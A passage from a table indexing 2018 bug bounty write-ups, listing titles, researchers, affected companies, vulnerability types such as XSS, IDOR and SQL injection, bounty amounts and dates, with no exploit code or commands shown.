[Internet Safety for Kids & Families — Trend Micro Bypass DOM
XSS](https://medium.com/@honcbb/internet-safety-for-kids-families-trend-micro-dom-xss-db34c9bbb120) | [Honc (@honcbb)](https://twitter.com/honcbb) | Trend
Micro | DOM XSS | $0, HoF | 05/08/2018
[Asus Control Center – An Information Disclosure and a database connection
Clear-Text password leakage
Vulnerability](https://www.seekurity.com/blog/general/asus-control-center-an-information-disclosure-and-a-database-connection-clear-text-password-leakage-vulnerability/) | [Mohamed A. Baset](https://twitter.com/Hxzeroone) | Asus |
Authorization flaw, Information disclosure | - | 05/08/2018
[ Ubisoft | Blind XSS to customer support panel
takeover](https://blog.hx01.me/2018/05/blind-xss-to-customer-support-panel.html) | [Hx01](https://twitter.com/Hxzeroone) | Ubisoft | Blind XSS | -| 05/06/2018
[A Five Minute SQL-I](https://medium.com/bugbountywriteup/a-five-minute-sql-i-16ab75b20fe4) | Ashish Jha | - | SQL injection | - | 05/06/2018
[How I Got Paid $0 From the India’s largest online gifting portal — Bug Bounty
Program](https://medium.com/bugbountywriteup/how-i-got-paid-0-from-the-indias-largest-online-gifting-portal-bug-bounty-program-fd9e14f9ca20) | [Hariom
Vashisth](https://www.facebook.com/hariom.vashisth) | - | Price manipulation,
Parameter tampering | $0 | 05/05/2018
[$4500 bounty - How I got
lucky](https://medium.com/bugbountywriteup/4500-bounty-how-i-got-lucky-99d8bc933f75) | [Eray Mitrani](https://twitter.com/ErayMitrani) | - |
Subdomain takeover | $4,500 | 05/03/2018
[Disclose Private Video Thumbnail from Facebook
WorkPlace](https://medium.com/bugbountywriteup/disclose-private-video-thumbnail-from-facebook-workplace-52b6ec4d73b7) | [Sarmad Hassan
(@JubaBaghdad)](https://twitter.com/JubaBaghdad) | Facebook | IDOR | $3,000 |
05/03/2018
[Stealing money from one account to another
account](https://medium.com/@evilboyajay/stealing-money-from-one-account-to-another-account-d7c5ee68922b) | [Ajay Gautam
(@evilboyajay)](https://twitter.com/evilboyajay) | - | Logic flaw | - |
05/02/2018
[Story Of a Stored XSS Bypass](https://medium.com/@prial261/story-of-a-stored-xss-bypass-26e6659f807b) | [Prial Islam Khan
(@prial261)](https://twitter.com/prial261) | Zerocopter | Open redirect | - |
04/30/2018
[Multiple security vulnerabilities in domains belonging to
Google](https://sysdream.com/news/lab/2018-04-30-multiple-security-vulnerabilities-in-domains-belonging-to-google/) |
[Sysdreams](https://sysdream.com) | Google | Broken access control, Directory
traversal, Stored XSS | - | 04/30/2018
[How I found 2.9 RCE at Yahoo! Bug Bounty
program](https://medium.com/@kedrisec/how-i-found-2-9-rce-at-yahoo-bug-bounty-program-20ab50dbfac7) | [Kedrisec](https://twitter.com/kedrisec) | Yahoo | RCE
| - | 04/30/2018
[#BugBounty — How I was able to bypass firewall to get RCE and then went from
server shell to get root user
account!](https://medium.com/@logicbomb_1/bugbounty-how-i-was-able-to-bypass-firewall-to-get-rce-and-then-went-from-server-shell-to-get-783f71131b94) |
[Avinash Jain (@logicbomb_1)](https://twitter.com/logicbomb_1) | - | RCE | - |
04/29/2018
[Reflected XSS on Stack Overflow](https://medium.com/@newp_th/reflected-xss-on-stack-overflow-b8366a855472) | [ssid
(@newp_th)](https://twitter.com/newp_th) | Stack Overflow | Reflected XSS | -| 04/27/2018
[Stored XSS in Yahoo!](https://medium.com/@TheShahzada/stored-xss-in-yahoo-b0878ecc97e2) | [Shahzada AL Shahriar
Khan](https://twitter.com/TheShahzada) | Yahoo | Stored XSS | $2000 |
04/27/2018
[Bypassing the Confirmation Email for Newsletter
(bof.nl)](https://medium.com/@mdisrail2468/bypassing-the-confirmation-email-for-newsletter-bof-nl-682c05cb927f) | [Mohammed Israil
(@mdisrail2468)](https://twitter.com/mdisrail2468) | Bits of Freedom |
Authorization flaw, IDOR | $0, Swag | 04/26/2018
[How I earned 60K+ from private
program](https://medium.com/@sivakrishnasamireddi/how-i-earned-60k-from-private-program-71bd51554490) | [Siva Krishna Samireddi
(@le4rner)](https://twitter.com/le4rner) | - | Open redirect, subdomain
takeover, XSS, HTTP parameter pollution | 60,000 INR (approx. $880) |
04/25/2018
[The Unknown Hero-App Logic Bugs](https://medium.com/bug-bounty-hunting/application-logic-bugs-600245fb5bf0) | [Circle
Ninja](https://twitter.com/circleninja) | Canva | Logic flaw | - | 04/25/2018
[XSS “403 forbidden” bypass write
up](https://medium.com/@nuraalamdipu/xss-403-forbidden-bypass-write-up-e070de52bc06) | [Nur A Alam Dipu](https://twitter.com/Dipu1A) | - | XSS | -| 04/25/2018
[How we got LFI in apache Drill (Recon like a
boss)](https://medium.com/bugbountywriteup/how-we-got-lfi-in-apache-drill-recon-like-a-boss-6f739a79d87d) | [gujjuboy10x00
(@vis_hacker)](https://twitter.com/vis_hacker) | - | LFI | - | 04/23/2018
[DOM XSS in Google VRView library
](http://blog.mindedsecurity.com/2018/04/dom-based-cross-site-scripting-in.html) | [Federico Fazzi](https://twitter.com/federicofazzi) | Google | DOM
XSS | $3,133.7 | 04/23/2018
[Three Cases, Three Open Redirect
Bypasses](https://medium.com/@malcolmx0x/three-cases-three-open-redirect-bypasses-887bda60b38c) | [Mohammed Eldeeb
(@malcolmx0x)](https://twitter.com/@malcolmx0x) | - | Open redirect | - |
04/22/2017
[Turning Self-XSS into non-Self Stored-XSS via Authorization Issue at “PayPal
Tech-Support and Brand Central Portal](https://medium.com/@YoKoKho/turning-self-xss-into-non-self-stored-xss-via-authorization-issue-at-paypal-tech-support-and-brand-3046f52ac16b) | YoKo Kho | Paypal | Stored XSS | - |
04/21/2018
[Story Of a Stored XSS Bypass](https://medium.com/@prial261/story-of-a-stored-xss-bypass-26e6659f807b) | [Prial Islam Khan
(@prial261)](https://twitter.com/prial261) | - | Stored XSS | - | 04/21/2018
[ Mangobaaz hacked | XSS to credentials exposure to
pwn](https://blog.hx01.me/2018/04/mangobaaz-hacked-xss-to-credentials.html) |
[Hx01](https://twitter.com/Hxzeroone) | MangoBaaz | Reflected XSS | $0 |
04/19/2018
[#BugBounty — ”Journey from LFI to RCE!!!”-How I was able to get the same in
one of the India’s popular property buy/sell
company.](https://medium.com/@logicbomb_1/bugbounty-journey-from-lfi-to-rce-how-a69afe5a0899) | [Avinash Jain
(@logicbomb_1)](https://twitter.com/logicbomb_1) | - | LFI, RCE | - |
04/19/2018
[Bypassing the Current Password Protection at PayPal TechSupport
Portal](https://medium.com/@YoKoKho/bypassing-the-current-password-protection-at-techsupport-portal-b9005ee17e64) | YoKo Kho | Paypal | Authorization flaw,
Account takeover | - | 04/19/2018
[Google Bug: Posting on groups as any user’s
behalf](https://medium.com/@newp_th/google-bug-posting-on-groups-as-any-users-behalf-c24e7f524be5) | [ssid (@newp_th)](https://twitter.com/newp_th) | Google
| Email spoofing | $0 | 04/18/2018
[Whatsapp user’s IP disclosure with Link Preview
feature](https://medium.com/@kankrale.rahul/whatsapp-users-ip-disclosure-with-link-preview-feature-39a477f54fba) | [Rahul Kankrale
(@RahulKankrale)](https://twitter.com/RahulKankrale) | Facebook | Information
disclosure | $0 (won’t fix) | 04/18/2018
[Ribose — IDOR with Simple CSRF Bypass — Unrestricted Changes and Deletion to
other Photo Profile](https://medium.com/@YoKoKho/ribose-idor-with-simple-csrf-bypass-unrestricted-changes-and-deletion-to-other-photo-profile-e4393305274e)
| YoKo Kho | Ribose | IDOR | - | 04/18/2018
[How I Get the Name of the Hotel (and other Data) that you ever Stay -Personal Data Leaks: Private Bug Bounty
Program](https://medium.com/@YoKoKho/idor-at-private-bug-bounty-program-that-could-leads-to-personal-data-leaks-d2536d026bf5) | YoKo Kho | - | IDOR | - |
04/18/2018
[IDOR (at Private Bug Bounty Program) that could Leads to Personal Data
Leaks](http://firstsight.me/2018/04/idor-at-private-bug-bounty-program-that-could-leads-to-personal-data-leaks/) | [YoKo Kho
(@YokoAcc)](https://twitter.com/YokoAcc) | - | IDOR | - | 04/17/2018
[How I got stored XSS using file upload](https://medium.com/@vis_hacker/how-i-got-stored-xss-using-file-upload-5c33e19df51e) | [gujjuboy10x00
(@vis_hacker)](https://twitter.com/vis_hacker) | - | Stored XSS | - |
04/17/2018
[From an error message to DB disclosure](https://medium.com/@YumiSec/from-an-error-message-to-db-diclosure-1af879c74474) | Yumi | - | Hardcoded credentials
| - | 04/17/2018
[Spoof an user to create a description of a group in
Flickr](https://medium.com/@saamux/spoof-a-user-to-create-a-description-of-a-group-in-flickr-72b6b8432404) | [Samuel (@saamux)](https://twitter.com/saamux)
| Yahoo (Flickr) | IDOR | - | 04/16/2018
[Bypassing Captcha Like a Boss](https://medium.com/bugbountywriteup/bypassing-captcha-like-a-boss-d0edcc3a1c1) | [Ak1T4
(@akita_zen)](https://twitter.com/akita_zen) | - | Captcha bypass | $xxx |
04/16/2018
[#SecurityBreach — ”How I was able to book hotel room for
1.50₹!”](https://medium.com/bugbountywriteup/securitybreach-how-i-was-able-to-book-hotel-room-for-1-50-9b35f18e49e8) | [Hariom
Vashisth](https://www.facebook.com/hariom.vashisth) | - | CORS flaw | - |
04/15/2018
[Bypass CSP by Abusing XSS Filter in
Edge](https://medium.com/bugbountywriteup/bypass-csp-by-abusing-xss-filter-in-edge-43e9106a9754) | [Xiaoyin Liu](https://twitter.com/general_nfs) |
Microsoft | CSP bypass | $1,500 | 04/15/2018
[How I hacked companies related to the crypto currency and earned
$60,000](https://medium.com/@iSecMax/how-i-hacked-companies-related-to-the-crypto-currency-and-earned-60-000-93e9b3299f4e) | [Max
(@iSecMax)](https://twitter.com/iSecMax) | okex.com, livecoin.net, [private
program] | Authorization flaw, CSRF, IDOR, Stored XSS, HTML injection |
$59,400 | 04/14/2018
[How I bypassed Ebay process on redirect](https://medium.com/@flex0geek/how-i-bypassed-ebay-process-on-redirect-98739384b4bc) | [Mohamed Sayed
(@FlEx0Geek)](https://twitter.com/FlEx0Geek) | Ebay | Open redirect | $0 |
04/13/2018
[Hijacking User’s Private Information access_token from Microsoft Office360
facebook App](https://www.seekurity.com/blog/general/hijacking-users-private-information-access_token-from-microsoft-office360-facebook-app/) | [Mohamed A.
Baset](https://twitter.com/Hxzeroone) | Microsoft | Logic flaw | $0 |
04/13/2018
[Please email me your password](http://blog.jr0ch17.com/2018/Please-email-me-your-password/) | [Jasmin Laundry](http://twitter.com/JR0ch17) | - | Blind
XSS, Blind SQL injection, SMTP header injection, Account takeover | - |
04/11/2018
[How I broke into Google Issue
Tracker](https://medium.com/bugbountywriteup/how-i-broke-into-google-issue-tracker-667b9e33e931) | [Abhishek Bundela
(@abhibundela)](https://twitter.com/abhibundela) | Google | Logic flaw,
Authorization flaw | $0 | 04/10/2018
[Source Code Analysis in YSurvey — Luminate
bug](https://medium.com/@rojanrijal/source-code-analysis-in-ysurvey-luminate-bug-c86dc29b70c4) | [Rojan Rijal](https://twitter.com/RojanRijal) | Yahoo |
Authentication bypass, Authorization flaw, SQL injection | - | 04/10/2018
[Piercing the veil: Server Side Request Forgery to NIPRNet
access](https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a) | [Alyssa Herrera
(@Alyssa_Herrera_)](https://twitter.com/Alyssa_Herrera_) | DoD | SSRF | - |
04/09/2018
[Stealing HttpOnly Cookie via XSS](https://medium.com/@yassergersy/xss-to-session-hijack-6039e11e6a81) | [Yasser Gersy
(@yassergersy)](https://twitter.com/yassergersy) | - | XSS | - | 04/08/2018 |
[Archived content](/assets/img/list-of-bug-bounty-writeups/Web-archives/db72445dcf2a63d5f98ff280c9ae9117.jpg)
[Reflected XSS on www.zomato.com By Mustafa
Hasan](https://www.mohamedharon.com/2018/04/reflected-xss-on-wwwzomatocom-by.html) | [Mohamed Haron (@m7mdharon)](https://twitter.com/m7mdharon) |
Zomato | Reflected XSS | $100 | 04/07/2018 | [Archived
content](/assets/img/list-of-bug-bounty-writeups/Web-archives/466a74922ec5148bf038ed4bc18b571e.jpg)
[“Exploiting a Single Parameter”](https://medium.com/@hisham.mir/exploiting-a-single-parameter-6f4ba2acf523) | [Hisham Mir
(@Hishammir1)](https://twitter.com/Hishammir1) | - | SSRF, XSS | $2,500 |
04/06/2018
[Link injection on 2 Twitter
Subdomain](https://www.mohamedharon.com/2018/04/link-injection-on-2-twitter-subdomain.html) | [Mohamed Haron (@m7mdharon)](https://twitter.com/m7mdharon)
| Twitter | Link injection | $280 | 04/01/2018 | [Archived
content](/assets/img/list-of-bug-bounty-writeups/Web-archives/76f03453d2b47be1ace0145606a6dbc9.jpg)
[](https://medium.com/@logicbomb_1/bugbounty-your-details-are-saved-into-my-account-user-info-disclosure-vulnerability-in-practo-fe36930a1246) | [Avinash
Jain (@logicbomb_1)](https://twitter.com/logicbomb_1) | - | IDOR | - |
04/05/2018
[How I caught Multiple vulnerabilities in Udemy.com, But not rewarded for
serious XSS vulnerability :(](https://medium.com/@satboy.fb/how-i-caught-multiple-vulnerabilities-in-udemy-com-14012a8a1421) | [Satyendra
Shrivastava](https://medium.com/@satboy.fb) | Udemy | XSS, HTML injection | -| 04/05/2018
[Directory Listing To Sensitive Files
Exposure](https://blog.hx01.me/2018/04/directory-listing-to-sensitive-files.html) | [Hx01](https://twitter.com/Hxzeroone) | - | Directory listing |
- | 04/04/2018
[My Best Small Report Bounty Report in Private Program ( Django REST framework
Admin Login ByPass )](https://www.mohamedharon.com/2018/04/my-best-small-report-bounty-report-in.html) | [Mohamed Haron
(@m7mdharon)](https://twitter.com/m7mdharon) | - | SQL injection, Auth bypass,
Account takeover | $2,000 | 04/01/2018 | [Archived content](/assets/img/list-of-bug-bounty-writeups/Web-archives/90e22b1c3fe94e64196fba5cf5c25335.jpg)
[XSS in Yahoo Subdomain](https://www.mohamedharon.com/2018/03/xss-in-subdomain-httpsyefgrantsyahoocom.html) | [Mohamed Haron
(@m7mdharon)](https://twitter.com/m7mdharon) | Yahoo! | Flash XSS | $600 |
03/31/2018 | [Archived content](/assets/img/list-of-bug-bounty-writeups/Web-archives/9342fbdccb5b349a34788ce270bf4ece.jpg)
[XSS In
sports.tw.campaign.yahoo.net](https://www.mohamedharon.com/2018/03/xss-in-sportstwcampaignyahoonet.html) | [Mohamed Haron
(@m7mdharon)](https://twitter.com/m7mdharon) | Yahoo! | Reflected XSS | - |
03/31/2018 | [Archived content](/assets/img/list-of-bug-bounty-writeups/Web-archives/95ad2aeda6cbfb279eb9654ca9306bcb.jpg)
[How I hacked one cryptocurrency
service](https://medium.com/@valeriyshevchenko/how-i-hacked-one-cryptocurrency-service-db3cb0f81d6c) | Valeriy Shevchenko | PayKassa | Blind
XSS, Reflected XSS, CSRF | $300 | 03/31/2018
[How I Could Have Promoted Any Facebook Page For
Free.](https://medium.com/bugbountywriteup/how-i-could-have-promoted-any-facebook-page-for-free-70b0f4fc0feb) | [Anees
Khan](https://twitter.com/AneesEthical) | Facebook | Logic flaw | $0 |
03/30/2018
[View Insights for Any Facebook Marketplace
Product](https://jmw.fyi/post/view-insights-for-any-fb-marketplace-product) |
[Jane Manchun Wong (@wongmjane)](https://twitter.com/wongmjane) | Facebook |
Authorization flaw | - | 03/29/2018
[Creating Test Conversion using any
App](https://medium.com/bugbountywriteup/creating-test-conversion-using-any-app-8b32ee0a735) | Joshua Regio | Facebook | Web parameter tampering | $3,000
| 03/27/2018
[Google bug bounty for security exploit that influences search
results](http://www.tomanthony.co.uk/blog/google-xml-sitemap-auth-bypass-black-hat-seo-bug-bounty/) | Tom Anthony | Google | Logic flaw | $5,000 |
03/27/2018
[Reflected XSS Moogaloop SWF ( Version < 6.2.x
)](https://www.mohamedharon.com/2018/03/reflected-xss-moogaloop-swf-version-62x.html) | [Mohamed Haron
(@m7mdharon)](https://twitter.com/m7mdharon) | Vimeo | Flash XSS, Reflected
XSS | - | 03/26/2018 | [Archived content](/assets/img/list-of-bug-bounty-writeups/Web-archives/0c08bd15313cd85507bb906c7ec07ae9.jpg)
[Misconfiguration of Demographics Privacy in a
Page](https://medium.com/@markchristiandeduyo/misconfiguration-of-demographics-privacy-in-a-page-682feb1179f2) | Mark Christian Deduyo |
Facebook | Logic flaw | $750 | 03/26/2018
[#BugBounty — Rewarded by securing vulnerabilities in Bookmyshow (India’s
largest online movie & event booking
portal)](https://medium.com/@logicbomb_1/bugbounty-rewarded-by-securing-vulnerabilities-in-bookmyshow-indias-largest-online-movie-bb81dba9b82) |
[Avinash Jain (@logicbomb_1)](https://twitter.com/logicbomb_1) | BookMyShow |
Host header attack, IDOR | - | 03/25/2018
[Hacking Oracle in 5 Minutes](https://medium.com/bugbountywriteup/hacking-oracle-in-5-minutes-b52107a6124c) | Rahul R | Oracle | Directory listing | - |
03/25/2018
[Google adwords 3133.7$ Stored XSS](https://medium.com/@Alra3ees/google-adwords-3133-7-stored-xss-27bb083b8d27) | [Emad
Shanab](https://twitter.com/Alra3ees) | Google | Stored XSS | $3,133.7 |
03/21/2018
[Leaking WordPress CSRF Tokens for Fun, $1337 bounty, and
CVE-2017-5489](https://ahussam.me/Leaking-WordPress-CSRF-Tokens/) | [Abdullah
Hussam (@Abdulahhusam)](https://twitter.com/Abdulahhusam) | Wordpress | CSRF |
$1337 | 03/15/2018
[#BugBounty — “Let me reset your password and login into your account “-How I
was able to Compromise any User Account via Reset Password
Functionality](https://medium.com/bugbountywriteup/bugbounty-how-i-was-able-to-compromise-any-user-account-via-reset-password-functionality-a11bb5f863b3)
| [Avinash Jain (@logicbomb_1)](https://twitter.com/logicbomb_1) | - | Logic
flaw, Password reset flaw, Account takeover | - | 03/14/2018
[Dox Facebook Employees Behind “Did You Know”
Questions](https://jmw.fyi/post/reveal-fb-employee-behind-funfact) | [Jane
Manchun Wong (@wongmjane)](https://twitter.com/wongmjane) | Facebook |
Information disclosure | - | 03/13/2018
[Union Based Sql injection Write up ->A private Company
Site](https://medium.com/@nuraalamdipu/union-based-sql-injection-write-up-a-private-company-site-273f89a49ed9) | [Nur A Alam
Dipu](https://twitter.com/Dipu1A) | - | SQL injection | - | 03/12/2018
[How I hacked 74k users of a website.](https://medium.com/@agrawalsmart7/how-i-hacked-74k-users-of-a-website-869e8a0b319) | [Utkarsh
Agrawal](https://twitter.com/agrawalsmart7) | - | Authentication flaw | - |
03/11/2018
[How I hacked 74k users of a website.](https://medium.com/@agrawalsmart7/how-i-hacked-74k-users-of-a-website-869e8a0b319) | [Utkarsh
Agrawal](https://twitter.com/agrawalsmart7) | - | Authorization flaw | - |
03/11/2018
[Getting any Facebook user’s friend list and partial payment card
details](https://www.josipfranjkovic.com/blog/facebook-friendlist-paymentcard-leak) | [Josip Franjkovic](https://twitter.com/josipfranjkovic) | Facebook |
Information disclosure, IDOR | - | 03/09/2018
[Stored XSS, and SSRF in Google using the Dataset Publishing
Language](https://s1gnalcha0s.github.io/dspl/2018/03/07/Stored-XSS-and-SSRF-Google.html) | [Craig Arendt (@signalchaos)](https://twitter.com/signalchaos)
| Google | Stored XSS, SSRF | $18,337 | 03/07/2018
[Clickjackings in Google worth
12644.7$](https://medium.com/@raushanraj_65039/google-clickjacking-6a04132b918a) | [Raushan Raj
(@raushan_rajj)](https://twitter.com/raushan_rajj) | Google | Clickjacking |
$12,644.7 | 03/06/2018
[Facebook Bug Bounty Reports](https://medium.com/@raushanraj_65039/facebook-bug-bounty-reports-1c1b8b55c050) | [Raushan Raj
(@raushan_rajj)](https://twitter.com/raushan_rajj) | Facebook | Authorization
flaw, Logic flaw, Information disclosure | $6,000 | 03/06/2018
[#BugBounty — How I could book cab using your wallet money in India’s largest
auto transportation company!](https://medium.com/bugbountywriteup/bugbounty-how-i-could-book-cab-using-your-wallet-money-in-indias-largest-auto-transportation-e0c4252ca1a3) | [Avinash Jain
(@logicbomb_1)](https://twitter.com/logicbomb_1) | - | OTP bypass | - |
03/05/2018
[How I found A Surprising XSS Vulnerability on Oracle NetSuite
?](https://medium.com/bug-bounty-hunting/how-i-found-a-surprising-xss-vulnerability-on-oracle-netsuite-2d48b7fcf0c8) | [Circle
Ninja](https://twitter.com/circleninja) | Oracle | XSS | - | 03/02/2018
[The 2.5mins or 2.5k$ hawk-eye bug – A Facebook Pages Admins Disclosure
Vulnerability!](https://www.seekurity.com/blog/general/the-2-5mins-or-2-5k-hawk-eye-bug-a-facebook-pages-admins-disclosure-vulnerability/) |
[Mohamed A. Baset](https://twitter.com/Hxzeroone) | Facebook | Information
disclosure | $2,500 | 02/25/2018
[Re-dressing Instagram – Leaking Application Tokens via Instagram ClickJacking
Vulnerability!](https://www.seekurity.com/blog/general/redressing-instagram-leaking-application-tokens-via-instagram-clickjacking-vulnerability/) |
[Mohamed A. Baset](https://twitter.com/Hxzeroone) | Facebook | Clickjacking |
- | 02/25/2018
[How i Hacked into a bugcrowd. public
program](https://medium.com/bugbountywriteup/how-i-hacked-into-a-bugcrowd-public-program-fcfdd4fb1b69) | Vishnuraj KV | - | RCE | - | 02/25/2018
[#BugBounty — API keys leakage, Source code disclosure in India’s largest
e-commerce health care
company.](https://medium.com/bugbountywriteup/bugbounty-api-keys-leakage-source-code-disclosure-in-indias-largest-e-commerce-health-care-c75967392c7e)
| [Avinash Jain (@logicbomb_1)](https://twitter.com/logicbomb_1) | - | Path
traversal | - | 02/25/2018
[How I was able to delete any image in Facebook community question
forum](https://medium.com/@JubaBaghdad/how-i-was-able-to-delete-any-image-in-facebook-community-question-forum-a03ea516e327) | [Sarmad Hassan
(@JubaBaghdad)](https://twitter.com/JubaBaghdad) | Facebook | IDOR | $1500 |
02/24/2018
[Bypassing Google’s authentication to access their Internal Admin
panels](https://medium.com/bugbountywriteup/bypassing-googles-fix-to-access-their-internal-admin-panels-12acd3d821e3) | [Vishnu Prasad P
G](https://twitter.com/vishnuprasadnta) | Google | Authentication bypass |
$13,337 | 02/24/2018
[The Fuzz…The Bug..The Action – A Race Condition bug in Facebook Chat Groups
leads to spy on conversations!](https://www.seekurity.com/blog/general/the-fuzz-the-bug-the-action-a-race-condition-bug-in-facebook-chat-groups-leads-to-spy-on-conversations/) | [Seif Elsallamy](https://twitter.com/seifelsallamy) |
Facebook | Race condition | - | 02/23/2018
[Modifying any Ad Space and
Placement](https://medium.com/@joshuaregio/modifying-any-ad-space-and-placement-e22c7cec050f) | Joshua Regio | Facebook | IDOR | - | 02/22/2018
[POODLE SSLv3 bug on multiple twitter smtp servers](http://omespino.com/write-up-twitter-bug-bounty-my-1st-bugbounty-poodle-sslv3-bug-on-multiple-twitter-smtp-servers/) | [@omespino](https://twitter.com/omespino) | Twitter |
Cryptographic issues | $280 | 02/21/2018
[Google bugs stories and the shiny
pixelbook.](https://bughunt1307.herokuapp.com/googlebugs.html) | [Missoum Said
(@missoum1307)](https://twitter.com/missoum1307) | Google | DOM XSS, Stored
XSS, Logic flaw, Reflected XSS, CSRF | $6,250 | 02/20/2018
[How I hacked Tinder accounts using Facebook’s Account Kit and earned $6,250
in bounties](https://medium.freecodecamp.org/hacking-tinder-accounts-using-facebook-accountkit-d5cc813340d1) | [Anand Prakash
(@sehacure)](https://twitter.com/sehacure) | Tinder, Facebook | Account
takeover, Authorization flaw | $6,250 | 02/20/2018
[Exploiting CORS Miss configuration using
XSS](https://bugbaba.blogspot.com/2018/02/exploiting-cors-miss-configuration.html) | [Noman Shaikh](https://twitter.com/nomanali181?lang=en)
| - | CORS misconfiguration | - | 02/18/2018
[#BugBounty — Exploiting CRLF Injection can lands into a nice
bounty](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62) | [Avinash Jain
(@logicbomb_1)](https://twitter.com/logicbomb_1) | - | CRLF injection | $250 |
02/17/2018
[How I was able to remotely crash any android user’s instagram app and was
paid a mere 500$ for it.](https://medium.com/bugbountywriteup/how-i-was-able-to-remotely-crash-any-android-users-instagram-app-and-was-paid-a-mere-500-for-it-d4420721290e) | Waleed Ahmed | Facebook | Android, DoS | $500 | 02/15/2018
[#BugBounty — “How I was able to shop for free!”- Payment Price
Manipulation](https://medium.com/bugbountywriteup/bugbounty-how-i-was-able-to-shop-for-free-payment-price-manipulation-b29355a8e68e) | [Avinash Jain
(@logicbomb_1)](https://twitter.com/logicbomb_1) | - | Web parameter tampering
/ Price manipulation | - | 02/11/2018
[Oracle Cross Site Scripting Vulnerability -Adesh
Kolte](https://medium.com/@adeshkolte/oracle-cross-site-scripting-vulnerability-adesh-kolte-ddc5d9f279be) | [Adesh Kolte
(@AdeshKolte)](https://twitter.com/AdeshKolte) | Oracle | Reflected XSS | - |
02/10/2018
[Stored XSS on Snapchat](https://medium.com/@mrityunjoy/stored-xss-on-snapchat-5d704131d8fd) | [Mrityunjoy](https://twitter.com/mitunjoy11) |
Snapchat | Stored XSS | - | 02/09/2018
[I figured out a way to hack any of Facebook’s 2 billion accounts, and they
paid me a $15,000 bounty for it](https://medium.freecodecamp.org/responsible-disclosure-how-i-could-have-hacked-all-facebook-accounts-f47c0252ae4d) |
[Anand Prakash (@sehacure)](https://twitter.com/sehacure) | Facebook |
Bruteforce, Account takeover | $15,000 | 02/09/2018
[Taking over Facebook accounts using Free Basics partner portal
](https://www.josipfranjkovic.com/blog/facebook-partners-portal-account-takeover) | [Josip Franjkovic](https://twitter.com/josipfranjkovic) | Facebook
| Information disclosure, IDOR | - | 02/07/2018
[Bug bounty left over (and rant) Part III (Google and
Twitter)](https://blog.intothesymmetry.com/2018/02/bug-bounty-left-over-and-rant-part-iii.html) | [Antonio Sanso (@asanso)](https://twitter.com/asanso) |
Google, Twitter | OAuth flaw, Authentication flaw, Information disclosure |
$5,540 | 02/06/2018
[How I gained access to Sony’s
database](https://medium.com/bugbountywriteup/how-i-gained-access-to-sonys-database-f3ba08d0e035) | Rahul R | Sony | - | $0 | 02/06/2018
[SQL injection with load file and into
outfile](https://medium.com/bugbountywriteup/sql-injection-with-load-file-and-into-outfile-c62f7d92c4e2) | [NoGe](https://twitter.com/p4c3n0g3) | - | SQL
injection | $750 | 02/05/2018
[How I found IDOR on Twitter’s Acquisition –
Mopub.com](https://blog.securitybreached.org/2018/02/05/how-i-found-idor-on-twitters-acquisition-mopub-com/) | janijay007 | Twitter | IDOR | - |
02/05/2018
[Facebook mailto injection leads to social engineering & spam
attack](https://medium.com/@kankrale.rahul/facebook-mailto-injection-leads-to-social-engineering-spam-attack-68b08e36764a) | [Rahul Kankrale
(@RahulKankrale)](https://twitter.com/RahulKankrale) | Facebook | Mailto
injection | $0 (won’t fix) | 02/03/2018
[#BugBounty — ”I don’t need your current password to login into your account”
- How could I completely takeover any user’s account in an online classified
ads company.](https://medium.com/bugbountywriteup/bugbounty-i-dont-need-your-current-password-to-login-into-your-account-how-could-i-e51a945b083d) |
[Avinash Jain (@logicbomb_1)](https://twitter.com/logicbomb_1) | - |
Authentication bypass | - | 02/03/2018
[Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit
(PART 2)](https://codeburst.io/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-2-af832d1c0bb6) | [Mohammed Abdul
Raheem](https://twitter.com/mohdaltaf163) | - | IDOR | $3000 | 02/03/2018
[Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit
(PART-1)](https://codeburst.io/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-1-f338c6a52782) | [Mohammed Abdul
Raheem](https://twitter.com/mohdaltaf163) | - | IDOR | $3000 | 02/02/2018
[Internal IPs disclosure](http://omespino.com/nokia-internal-ips-disclosure/)
| [@omespino](https://twitter.com/omespino) | Nokia | Internal IP disclosure |
- | 02/02/2018
[How I was able to Bypass XSS Protection on HackerOne’s Private
Program](https://blog.securitybreached.org/2018/02/02/how-i-was-able-to-bypass-xss-protection-on-hackerones-private-program/) | janijay007 | - | XSS |
- | 02/02/2018
[Getting access to prompt debug dialog and serialized tool on main website
facebook.com](http://omespino.com/facebook-bug-bounty-getting-access-to-prompt-debug-dialog-and-serialized-tool-on-main-website-facebook-com/) |
[@omespino](https://twitter.com/omespino) | Facebook | Debug info disclosure |
- | 01/31/2018
[How I was able to Download Any file from Web
server!](https://blog.securitybreached.org/2018/01/27/how-i-was-able-to-download-any-file-from-web-server/) | hammadhassan924 | - | XSS, IDOR | $450 |
01/27/2018
[How I got 22000$ worth ethereum](http://guptashubham.com/how-i-got-22000-worth-ethereum/) | [Shubham
Gupta](https://twitter.com/hackerspider1) | - | Blind XSS | ~22,000 Ethereum |
01/26/2018
[JSON CSRF attack on a Social Networking Site[Hackerone
Platform]](https://medium.com/@pig.wig45/json-csrf-attack-on-a-social-networking-site-hackerone-platform-3d7aed3239b0) | [Sahil Tikoo
(@viperbluff)](https://twitter.com/viperbluff) | Badoo | CSRF | $280 |
01/26/2018
[Here’s how I could’ve ridden for free with
Uber](https://medium.freecodecamp.org/how-anyone-could-have-used-uber-to-ride-for-free-36cdee5ea854) | [Anand Prakash
(@sehacure)](https://twitter.com/sehacure) | Uber | Logic flaw | $5,000 |
01/26/2018
[Full Account Takeover through CORS with connection
Sockets](https://medium.com/@saamux/full-account-takeover-through-cors-with-connection-sockets-179133384815) | [Samuel
(@saamux)](https://twitter.com/saamux) | - | CORS misconfiguration, Account
takeover | - | 01/25/2018
[[Yahoo Bug Bounty] Unauthorized Access to Unisphere Management Server
Debugging Facility on
https://bf1-uaddbcx-002.data.bf1.yahoo.com/Debug/](https://medium.com/@zk34911/yahoo-bug-bounty-unauthorized-access-to-unisphere-management-server-debugging-facility-on-448aeb6d0c94) | [Peerzada Fawaz Ahmad Qureshi
(@zk34911)](https://twitter.com/zk34911) | Yahoo | Authorization flaw | $300 |
01/25/2018
[No RCE? Then SSH to the box!](http://blog.jr0ch17.com/2018/No-RCE-then-SSH-to-the-box/) | [Jasmin Laundry](http://twitter.com/JR0ch17) | - | LFI,
